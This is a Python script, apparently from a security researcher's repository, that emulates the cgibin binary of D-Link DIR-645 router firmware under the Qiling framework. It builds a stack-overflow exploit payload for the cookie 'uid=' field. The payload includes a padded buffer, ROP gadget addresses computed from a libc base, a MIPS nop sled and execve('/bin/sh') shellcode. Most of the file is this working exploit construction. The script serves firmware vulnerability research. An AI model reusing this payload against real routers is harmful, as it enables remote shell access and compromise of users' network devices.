/
qiling_dlink_exploit.py
173 lines (139 loc) · 5.57 KB
/
qiling_dlink_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#!/home/naah/.virtualenv/qiling_framework/bin/python3
# This simple scripts emulates the cgibin binary
# part of the DIR645A1_FW103RUB08 firmware for
# TPLINK DIR-645 Router.
# cgibin binary is affected by several vulnerabilities
# More information:
import argparse
import sys
sys.path.append("..")
from capstone import *
from qiling import *
from qiling.const import *
from unicorn import *
from struct import pack
from qiling.const import *
from qiling.os.linux.thread import *
from qiling.const import *
from qiling.os.posix.filestruct import *
from qiling.os.filestruct import *
from qiling.os.posix.const_mapping import *
from qiling.exception import *
MAIN = 0x0402770
HEDWINCGI_MAIN_ADDR = 0x0040bfc0
SESS_GET_UID = 0x004083f0
RETURN_CORRUPTED_STACK = 0x0040c594
QILING_EXIT = 0x41ef40
QILING_PRINTF = 0x41f020
QILING_SYSTEM = 0x0041eb50
MIPS_FORK_SYSCALL = 0xfa2
MIPS_EXECVE_SYSCALL = 0xfab
def simulate_exploit(ql):
ql.nprint("** at simulate_exploitation **")
#import pdb
#pdb.set_trace()
#command = ql.mem.map_anywhere(20)
#ql.mem.string(command, "/bin/sh")
#ql.reg.a0 = command
#ql.reg.ra = QILING_SYSTEM
#ql.reg.a1 = 0
#ql.reg.a2 = 0
ql.reg.a0 = 1
ql.reg.ra = 0x77552bd0 # sleep uClibc
ql.reg.t9 = 0x77552bd0
# Code copied from lib/qiling/os/posix/syscall/unistd.py:380
def hook_fork(ql, *args, **kw):
pid = os.fork()
if pid == 0:
ql.os.child_processes = True
ql.dprint (0, "[+] vfork(): is this a child process: %r" % (ql.os.child_processes))
regreturn = 0
if ql.os.thread_management != None:
ql.os.thread_management.cur_thread.set_thread_log_file(ql.log_dir)
else:
if ql.log_split:
_logger = ql.log_file_fd
_logger = ql_setup_logging_file(ql.output, ql.log_file , _logger)
_logger_name = str(len(logging.root.manager.loggerDict))
_logger = ql_setup_logging_file(ql.output, '_'.join((ql.log_file, _logger_name)))
ql.log_file_fd = _logger
else:
regreturn = pid
if ql.os.thread_management != None:
ql.emu_stop()
ql.nprint("vfork() = %d" % regreturn)
ql.os.definesyscall_return(regreturn)
def execve_onenter(ql, pathname, argv, envp, *args):
ql.nprint("at execve_onenter")
ql.nprint(ql.mem.string(pathname))
ql.nprint(ql.mem.string(argv))
def shellcode2():
# execve shellcode translated from MIPS to MIPSEL
# http://shell-storm.org/shellcode/files/shellcode-792.php
# Taken from: https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/
shellcode = b""
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404\
buffer = b"uid=%s" % (b"B" * 1003)
buffer += b"AAAA"
#buffer += b"0000" # Gadget #3
buffer += pack("<I", calc_address(0x0001bb44))
buffer += b"1111"
buffer += b"2222"
buffer += b"1111"
buffer += b"4444"
#buffer += b"5555"
buffer += pack("<I", calc_address(0x0004dcb4)) # Gadget #2
buffer += b"6666"
buffer += b"7777"
#buffer += b"8888"
buffer += pack("<I", 0x77552bd0) # Sleep address
buffer += pack("<I", 0x77527c94) # Overwrites $ra with address of gadget -> #1
# MIPS nopsled from https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/
buffer += b"\x26\x40\x08\x01" * 30 + shellcode
# ###########
return buffer
def calc_address(addr_offset):
LIBC_BASE = 0x774fc000
return LIBC_BASE + addr_offset - 0x10000
def prepare_environment():
buffer = b"uid=%s" % (b"A" * 1043)
buffer += pack("<I", calc_address(0x000528b0))
buffer += b"1" * 200
required_env = {
b"REQUEST_METHOD": b"POST",
b"HTTP_COOKIE" : shellcode2() #buffer #shellcode2()
}
return required_env
def my_sandbox(path, rootfs, debug=False):
ql = Qiling(path, rootfs, output = "none", env=prepare_environment())
ql.add_fs_mapper('/tmp', '/var/tmp')
ql.hook_address(lambda ql: ql.nprint("** At [main] **"), MAIN)
ql.hook_address(lambda ql: ql.nprint("** At [hedwingcgi_main] **"), HEDWINCGI_MAIN_ADDR)
ql.hook_address(lambda ql: ql.nprint("** At [sess_get_uid] **"), SESS_GET_UID)
ql.hook_address(lambda ql: ql.nprint("** Ret from sobj_add_string **"), 0x004085c4)
#ql.hook_address(simulate_exploit, RETURN_CORRUPTED_STACK)
#ql.set_syscall(MIPS_FORK_SYSCALL, hook_fork)
#ql.set_syscall(MIPS_EXECVE_SYSCALL, execve_onenter, QL_INTERCEPT.ENTER)
if debug:
ql.debugger = True
ql.run()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('PathToCgibin',
help='Path to cgibin binary')
parser.add_argument('PathToRootFs',
help="Path to root fs")
parser.add_argument('--debug', action='store_true')
args = parser.parse_args()
my_sandbox([args.PathToCgibin], args.PathToRootFs, args.debug)